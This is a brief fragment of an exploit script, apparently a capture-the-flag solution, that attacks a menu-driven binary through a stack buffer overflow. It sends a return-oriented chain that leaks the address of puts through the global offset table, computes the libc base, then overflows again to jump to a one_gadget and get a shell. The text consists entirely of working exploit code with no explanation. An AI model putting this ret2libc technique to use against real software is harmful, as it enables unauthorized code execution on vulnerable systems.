pl = "A"*0x50+p64(0xbadbeef)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(0x0000000004009A0) sla("Input your choice!\n","1") sla("Input your Plaintext to be encrypted",pl) libcbase = uu64()-libc.symbols["puts"] li("libc base ---------> %x"%libcbase)
pl = "A"*0x50+p64(0xbadbeef)+p64(ogg+libcbase)+p64(0x0000000004009A0) sla("Input your Plaintext to be encrypted",pl)